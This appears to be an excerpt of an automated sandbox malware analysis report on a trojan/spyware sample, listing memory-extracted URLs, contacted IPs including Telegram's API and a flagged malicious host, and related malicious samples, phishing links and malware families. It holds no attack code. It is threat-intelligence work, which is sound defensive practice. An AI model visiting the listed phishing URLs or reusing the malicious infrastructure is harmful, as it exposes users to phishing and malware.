https://www.rfc-editor.org/rfc/rfc8259#section-8.1	pw.exe, 0000000E.00000003.1724923193.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1740369767.0000000002146000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1723803786.0000000001D34000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725199371.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pkware.com/documents/casestudies/APPNOTE.TXT	pw.exe, 0000000E.00000003.1733110109.0000000001D22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1730279208.00000000020C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.haxx.se/V	vUlh7stUHJ.exe, 00000000.00000003.1403225658.000001F676774000.00000004.00000020.00020000.00000000.sdmp	false		high
https://settings-ssl.xboxlive.com/XBLWinClient/v10_video/configuration.xml	Video.UI.exe, 00000004.00000002.2651575772.00000267A2D1B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iana.org/time-zones/repository/tz-link.html	pw.exe, 0000000E.00000003.1674219564.0000000001DB8000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1694214238.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684878959.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674430784.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674219564.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1714619124.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674280207.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1673930767.0000000001C94000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684513640.0000000000F23000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1676420636.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1696418421.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674664554.0000000001BD4000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1710507654.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1676732984.0000000000F27000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1687572898.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1675606820.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1676240776.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1698483183.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1675496502.0000000000F10000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674574138.0000000001D8B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1702157913.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	false		high
https://requests.readthedocs.io	pw.exe, 0000000E.00000003.1710372097.0000000001C04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1750591706.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1712031431.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792861657.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725566555.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689155922.0000000001C24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722796605.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686789187.0000000001C21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684434263.0000000001C12000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728121417.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1688845853.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1701616869.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752628970.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1694017930.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1717870863.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1705665117.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741627516.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1777008498.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1700531805.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001C19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dmd-ca-beta2/CertEnroll/Microsoft%20Digital%20Media%20Authority%202005.crl	Video.UI.exe, 00000004.00000003.1564992811.00000267AAE5B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm	pw.exe, 0000000E.00000003.1668847463.0000000001BF3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugs.python.org/issue29585	pw.exe, 0000000E.00000003.1652694422.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#socks-proxies)	pw.exe, 0000000E.00000003.1782528798.0000000001D33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790098941.0000000001D39000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.python.org/pipermail/python-bugs-list/2001-January/003752.html	pw.exe, 0000000E.00000003.1700531805.0000000001C13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org	pw.exe, 0000000E.00000003.1710372097.0000000001C04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1750591706.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1712031431.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792861657.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1725566555.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1689155922.0000000001C24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722796605.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1686789187.0000000001C21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684434263.0000000001C12000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728121417.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1688845853.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1701616869.0000000001C05000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752628970.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1694017930.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1717870863.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1705665117.0000000001C22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741627516.0000000001C0A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1777008498.0000000001C19000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1700531805.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743614888.0000000001C19000.00000004.00000020.00020000.00000000.sdmp	false		high
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	pw.exe, 0000000E.00000003.1738796691.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748877032.0000000001D94000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743980128.0000000001D97000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1765034692.0000000003FE5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1770875093.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1739234363.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741929759.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1744073457.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754252598.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748068173.0000000001D94000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1791732327.0000000003FE5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1771102108.0000000003FE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
103.232.55.173	unknown	Viet Nam	45668	AIMS-MY-NETAIMSDataCentreSdnBhdMY	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570141
Start date and time:	2024-12-06 15:51:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	vUlh7stUHJ.exe renamed because original name is a hash value
Original Sample Name:	d57adb24b010d644315933e7030cbdbc.exe
Detection:	MAL
Classification:	mal68.troj.spyw.evad.winEXE@21/1619@2/3
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 70% Number of executed functions: 20 Number of non-executed functions: 157
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.32.186.57, 2.20.40.8, 199.232.214.172, 52.182.143.212
Excluded domains from analysis (whitelisted): fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, time.windows.com, e87.dspb.akamaiedge.net, activation2.playready.microsoft.com, fe3cr.delivery.mp.microsoft.com, e11290.dspg.akamaiedge.net, go.microsoft.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, ocsps.ssl.com, star-azurefd-prod.trafficmanager.net, go.microsoft.com.edgekey.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, settings-ssl.xboxlive.com.edgekey.net, wu-b-net.trafficmanager.net, traf-activation-global.trafficmanager.net
Execution Graph export aborted for target AddInProcess32.exe, PID 6140 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: vUlh7stUHJ.exe

Simulations

Behavior and APIs

Time	Type	Description
09:53:22	API Interceptor	2x Sleep call for process: WerFault.exe modified
09:53:24	API Interceptor	387855x Sleep call for process: InstallUtil.exe modified
15:53:16	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Explorer.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	TEKL_F _STE_I Unilever San ve Tic Trk A__PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	5eAjHgPxj2.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse
	e2mzbWePHw.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
13.107.246.63	Contract Proposal Documents.pdf	Get hash	malicious	Unknown	Browse	assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/645a21a8-32ac-ef11-b8e8-6045bd0f229c

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	lg1wwLsmCX.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://dsbemcm.r.us-east-1.awstrack.me/L0/https:%2F%2Fmondialrelay-fr.pdfing.ai%2F/1/0100019399661370-1ce77c65-1b81-4233-8a20-5a39fd0f0317-000000/J1Yr9vKfHbZhazSj6gj8UC7ow80=403	Get hash	malicious	Unknown	Browse	13.107.246.63
	x6r8nO2qzQ.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	kLSN6eFPVL.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	#U25b6#Ufe0fPlayVoiceMessage9266.eml	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	1733490739e5e30edcf0680d8a10de07d13f0f9a2284bc87bf8b4af988e0742c1432ac615d942.dat-decoded.exe	Get hash	malicious	Njrat	Browse	13.107.246.63
	17334905466c073176eadfc4a4d1af620c5aa97d12d1156570ede93d276f9fa6d51fffb6c5778.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	13.107.246.63
	https://jet.cloudhostingworks.com/CetQr/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
api.telegram.org	TEKL_F _STE_I Unilever San ve Tic Trk A__PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	5eAjHgPxj2.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	e2mzbWePHw.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	149.154.167.220
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	149.154.167.220
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
bg.microsoft.map.fastly.net	lg1wwLsmCX.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	lg1wwLsmCX.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	IFhqcKaIol.lnk	Get hash	malicious	Unknown	Browse	199.232.214.172
	17334905466c073176eadfc4a4d1af620c5aa97d12d1156570ede93d276f9fa6d51fffb6c5778.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	199.232.210.172
	1733479268d0423578683b481c87d2b90a74213612e8837faf7f066c8e81ec92f9b2658c65965.dat-decoded.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	199.232.210.172
	1733479274b6398afce8a86557af12b8f232b1cc4638f7df1d6de31554c2e013c23277a5b9785.dat-decoded.exe	Get hash	malicious	PureCrypter	Browse	199.232.214.172
	mjf2ERXdI5.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	16547.js	Get hash	malicious	MassLogger RAT	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	TEKL_F _STE_I Unilever San ve Tic Trk A__PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	5eAjHgPxj2.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	e2mzbWePHw.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Yn13dTQdcW.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	PO54782322024.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	149.154.167.220
	Setup.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
AIMS-MY-NETAIMSDataCentreSdnBhdMY	SzEvaEcbe3.elf	Get hash	malicious	Unknown	Browse	110.74.146.101
	acLghFWq0Z.elf	Get hash	malicious	Mirai	Browse	110.74.146.140
	Arrival notice.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.232.55.82
	Arrival_Notice.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.232.55.82
	tFGPgPkxgo.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	110.74.186.134
	Arrival-Notice-Report-107842_25481.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.232.55.82
	doc_5246701290829878904872.vbs	Get hash	malicious	Remcos	Browse	103.232.55.82
	arm7.elf	Get hash	malicious	Mirai	Browse	110.74.146.120
	B843BuO7i3.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	110.74.164.55
	hesap_hareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	110.74.174.139
MICROSOFT-CORP-MSN-AS-BLOCKUS	qe4efGS22G.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
